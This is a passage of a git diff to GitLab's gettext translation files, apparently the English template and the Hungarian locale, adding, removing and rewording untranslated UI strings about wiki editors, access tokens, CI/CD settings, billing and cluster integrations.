+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36967,6 +36781,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36976,6 +36799,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37177,7 +37003,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37198,6 +37024,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37213,16 +37042,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37237,10 +37066,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37510,6 +37345,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37549,9 +37387,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37729,21 +37564,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37807,9 +37639,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37969,12 +37798,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38002,18 +37825,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38026,12 +37843,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38101,12 +37912,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38191,6 +38008,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38200,6 +38020,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38293,6 +38116,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38350,12 +38176,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38380,6 +38215,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38398,9 +38236,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38704,6 +38539,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38791,6 +38629,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38872,9 +38713,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39262,6 +39100,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39298,9 +39139,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39361,7 +39199,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39442,7 +39280,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39505,6 +39346,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39793,6 +39637,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39895,6 +39742,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index 6525d6e0533..45f815c0198 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:40\n"
+"PO-Revision-Date: 2021-07-01 21:24\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
